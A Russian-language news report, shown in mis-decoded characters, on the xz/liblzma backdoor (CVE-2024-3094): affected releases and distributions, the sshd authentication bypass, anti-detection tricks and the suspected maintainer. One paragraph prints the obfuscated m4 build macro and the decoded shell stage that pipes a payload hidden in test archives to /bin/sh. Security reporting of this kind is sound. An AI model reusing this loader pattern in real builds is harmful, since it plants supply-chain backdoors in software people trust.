Π’ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ΅ xz/liblzma выявлСн бэкдор, ΠΎΡ€Π³Π°Π½ΠΈΠ·ΡƒΡŽΡ‰ΠΈΠΉ Π²Ρ…ΠΎΠ΄ Ρ‡Π΅Ρ€Π΅Π· sshd

Π’ ΠΏΠ°ΠΊΠ΅Ρ‚Π΅ XZ Utils, Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‰Π΅ΠΌ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ liblzma ΠΈ ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Ρ‹ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ со сТатыми Π΄Π°Π½Π½Ρ‹ΠΌΠΈ Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ «.xz», выявлСн бэкдор (CVE-2024-3094), ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠΉ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ ΠΈ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ прилоТСниями, связанными с Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΎΠΉ liblzma. Основной Ρ†Π΅Π»ΡŒΡŽ бэкдора являСтся сСрвСр OpenSSH, Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… дистрибутивах связанный с Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΎΠΉ libsystemd, которая, Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ liblzma. БвязываниС sshd с уязвимой Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΎΠΉ позволяСт Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ°ΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ SSH-сСрвСру Π±Π΅Π· Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ.

Бэкдор присутствовал Π² ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… выпусках 5.6.0 ΠΈ 5.6.1, ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Π½Π½Ρ‹Ρ… 24 фСвраля ΠΈ 9 ΠΌΠ°Ρ€Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ успСли ΠΏΠΎΠΏΠ°ΡΡ‚ΡŒ Π² состав Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… дистрибутивов ΠΈ Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠ΅Π², Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide ΠΈ 40-beta, openSUSE factory ΠΈ tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. ВсСм ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ выпусков xz 5.6.0 ΠΈ 5.6.1 рСкомСндуСтся срочно ΠΎΡ‚ΠΊΠ°Ρ‚ΠΈΡ‚ΡŒΡΡ Π½Π° Π²Π΅Ρ€ΡΠΈΡŽ 5.4.6.

Из ΡΠ³Π»Π°ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ Ρ„Π°ΠΊΡ‚ΠΎΡ€ΠΎΠ² ΠΌΠΎΠΆΠ½ΠΎ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ вСрсия liblzma c бэкдором Π½Π΅ успСла Π²ΠΎΠΉΡ‚ΠΈ Π² состав ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… выпусков ΠΊΡ€ΡƒΠΏΠ½Ρ‹Ρ… дистрибутивов, Π½ΠΎ Π·Π°Ρ‚Ρ€ΠΎΠ½ΡƒΠ»Π° openSUSE Tumbleweed ΠΈ Fedora 40-beta. Arch Linux ΠΈ Gentoo использовали ΡƒΡΠ·Π²ΠΈΠΌΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ zx, Π½ΠΎ Π½Π΅ ΠΏΠΎΠ΄Π²Π΅Ρ€ΠΆΠ΅Π½Ρ‹ Π°Ρ‚Π°ΠΊΠ΅, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π½Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ ΠΊ openssh ΠΏΠ°Ρ‚Ρ‡ для ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ systemd-notify, приводящий ΠΊ ΡΠ²ΡΠ·Ρ‹Π²Π°Π½ΠΈΡŽ sshd ΠΊ liblzma. Бэкдор Π·Π°Ρ‚Ρ€Π°Π³ΠΈΠ²Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ систСмы x86_64 Π½Π° Π±Π°Π·Π΅ ядра Linux ΠΈ Π‘ΠΈ-Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ Glibc.

Код Π°ΠΊΡ‚ΠΈΠ²Π°Ρ†ΠΈΠΈ бэкдора Π±Ρ‹Π» спрятан Π² m4-макросах ΠΈΠ· Ρ„Π°ΠΉΠ»Π° build-to-host.m4, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ³ΠΎ инструмСнтариСм automake ΠΏΡ€ΠΈ сборкС. ΠŸΡ€ΠΈ сборкС Π² Ρ…ΠΎΠ΄Π΅ выполнСния Π·Π°ΠΏΡƒΡ‚Π°Π½Π½Ρ‹Ρ… обфусцированных ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ Π½Π° основС Π°Ρ€Ρ…ΠΈΠ²ΠΎΠ² (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), примСняСмых для тСстирования коррСктности Ρ€Π°Π±ΠΎΡ‚Ρ‹, формировался ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» с врСдоносным ΠΊΠΎΠ΄ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΊΠ»ΡŽΡ‡Π°Π»ΡΡ Π² состав Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ liblzma ΠΈ измСнял Π»ΠΎΠ³ΠΈΠΊΡƒ Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π΅Ρ‘ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ. ΠΠΊΡ‚ΠΈΠ²ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ бэкдор m4-макросы Π²Ρ…ΠΎΠ΄ΠΈΠ»ΠΈ Π² состав tar-Π°Ρ€Ρ…ΠΈΠ²ΠΎΠ² Ρ€Π΅Π»ΠΈΠ·ΠΎΠ², Π½ΠΎ отсутствовали Π² Git-Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ. ΠŸΡ€ΠΈ этом врСдоносныС тСстовыС Π°Ρ€Ρ…ΠΈΠ²Ρ‹ присутствовали Π² Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ, Ρ‚.Π΅. Π²Π½Π΅Π΄Ρ€ΠΈΠ²ΡˆΠΈΠΉ бэкдор ΠΈΠΌΠ΅Π» доступ ΠΊΠ°ΠΊ ΠΊ Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΡŽ, Ρ‚Π°ΠΊ ΠΈ ΠΊ процСссам формирования Ρ€Π΅Π»ΠΈΠ·ΠΎΠ².

ΠŸΡ€ΠΈ использовании liblzma Π² прилоТСниях врСдоносныС измСнСния ΠΌΠΎΠ³Π»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Π° ΠΈΠ»ΠΈ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π΄Π°Π½Π½Ρ‹Ρ…, Π° Ρ‚Π°ΠΊΠΆΠ΅ для влияния Π½Π° Ρ€Π°Π±ΠΎΡ‚Ρƒ sshd. Π’ частности, врСдоносный ΠΊΠΎΠ΄ подмСнял Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ RSA_public_decrypt для ΠΎΠ±Ρ…ΠΎΠ΄Π° процСсса Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π² sshd. Бэкдор Π²ΠΊΠ»ΡŽΡ‡Π°Π» Π·Π°Ρ‰ΠΈΡ‚Ρƒ ΠΎΡ‚ обнаруТСния ΠΈ Π½Π΅ проявлял сСбя ΠΏΡ€ΠΈ выставлСнных ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… окруТСния LANG ΠΈ TERM (Ρ‚.Π΅. ΠΏΡ€ΠΈ запускС процСсса Π² Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π»Π΅) ΠΈ Π½Π΅ выставлСнных ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… окрууТСния LD_DEBUG ΠΈ LD_PROFILE, Π° Ρ‚Π°ΠΊΠΆΠ΅ активировался Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ исполняСмого Ρ„Π°ΠΉΠ»Π° /usr/sbin/sshd. Π’ бэкдорС Ρ‚Π°ΠΊΠΆΠ΅ имСлись срСдства обнаруТСния запуска Π² ΠΎΡ‚Π»Π°Π΄ΠΎΡ‡Π½Ρ‹Ρ… окруТСниях.

Π’ частности, Π² Ρ„Π°ΠΉΠ»Π΅ m4/build-to-host.m4 использовались конструкции gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev/null` … gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null’

Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΉ конструкции опСрация grep Π½Π°Ρ…ΠΎΠ΄ΠΈΠ»Π° Ρ„Π°ΠΉΠ» tests/files/bad-3-corrupt_lzma2.xz, ΠΏΡ€ΠΈ распаковкС ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ формировался сцСнарий: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir=»../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|/bin/sh ####World####

Каким ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ°ΠΌ ΡƒΠ΄Π°Π»ΠΎΡΡŒ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ инфраструктурС ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° xz ΠΏΠΎΠΊΠ° Π΄ΠΎ ΠΊΠΎΠ½Ρ†Π° Π½Π΅ выяснСно. Π’Π°ΠΊ ΠΆΠ΅ ΠΏΠΎΠΊΠ° Π½Π΅ ясно ΠΊΠ°ΠΊ ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΈ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ² Π±Ρ‹Π»ΠΈ скомпромСтированы Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ дСйствия бэкдора. ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΠΌΡ‹ΠΉ Π°Π²Ρ‚ΠΎΡ€ бэкдора (JiaT75 — Jia Tan), Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΠ²ΡˆΠΈΠΉ Π² Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ Π°Ρ€Ρ…ΠΈΠ²Ρ‹ с врСдоносным ΠΊΠΎΠ΄ΠΎΠΌ, пСрСписывался с Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌΠΈ Fedora ΠΈ отправлял pull-запросы Π² Debian, связанныС с ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΎΠΌ дистрибутивов Π½Π° Π²Π΅Ρ‚ΠΊΡƒ xz 5.6.0, ΠΈ Π½Π΅ Π²Ρ‹Π·Π²Π°Π» ΠΏΠΎΠ΄ΠΎΠ·Ρ€Π΅Π½ΠΈΠΉ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ участвовал Π² Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ xz Π½Π° протяТСнии послСдних Π΄Π²ΡƒΡ… Π»Π΅Ρ‚ ΠΈ являСтся Π²Ρ‚ΠΎΡ€Ρ‹ΠΌ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ ΠΏΠΎ числу внСсённых ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ. Помимо ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° xz ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΠΌΡ‹ΠΉ Π°Π²Ρ‚ΠΎΡ€ бэкдора Ρ‚Π°ΠΊΠΆΠ΅ участвовал Π² Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² xz-java ΠΈ xz-embedded. Π‘ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΠ³ΠΎ, Jia Tan нСсколько Π΄Π½Π΅ΠΉ Π½Π°Π·Π°Π΄ Π±Ρ‹Π» Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π² число мэёнтСйнСров ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° XZ Embedded, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ³ΠΎ Π² ядрС Linux.

ВрСдоносноС ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Π±Ρ‹Π»ΠΎ выявлСно послС Π°Π½Π°Π»ΠΈΠ·Π° излишнСго потрСблСния CPU ΠΈ ошибок, Π²Ρ‹Π΄Π°Π²Π°Π΅ΠΌΡ‹Ρ… valgrind, ΠΏΡ€ΠΈ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΈ Ρ‡Π΅Ρ€Π΅Π· ssh ΠΊ систСмам Π½Π° Π±Π°Π·Π΅ Debian sid. ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Ρ‡Ρ‚ΠΎ Π² Ρ€Π΅Π»ΠΈΠ· xz 5.6.1 Π±Ρ‹Π»ΠΈ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ измСнСния, ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²Π»Π΅Π½Π½Ρ‹Π΅ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΠΌΡ‹ΠΌ Π°Π²Ρ‚ΠΎΡ€ΠΎΠΌ бэкдора Π² ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° ΠΆΠ°Π»ΠΎΠ±Ρ‹ ΠΎ Π·Π°ΠΌΠ΅Π΄Π»Π΅Π½ΠΈΠΈ Ρ€Π°Π±ΠΎΡ‚Ρ‹ ΠΈ сбоях sshd, возникшиС послС обновлСния Π΄ΠΎ вСрсии zx 5.6.0 с бэкдором. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π² ΠΏΡ€ΠΎΡˆΠ»ΠΎΠΌ Π³ΠΎΠ΄Ρƒ Jia Tan внёс измСнСния, нСсовмСстимыС с Ρ€Π΅ΠΆΠΈΠΌΠΎΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ «-fsanitize=address», Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π»ΠΎ ΠΊ Π΅Π³ΠΎ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡŽ ΠΏΡ€ΠΈ fuzzing-тСстировании.

Π˜ΡΡ‚ΠΎΡ‡Π½ΠΈΠΊ: opennet.ru

Π”ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ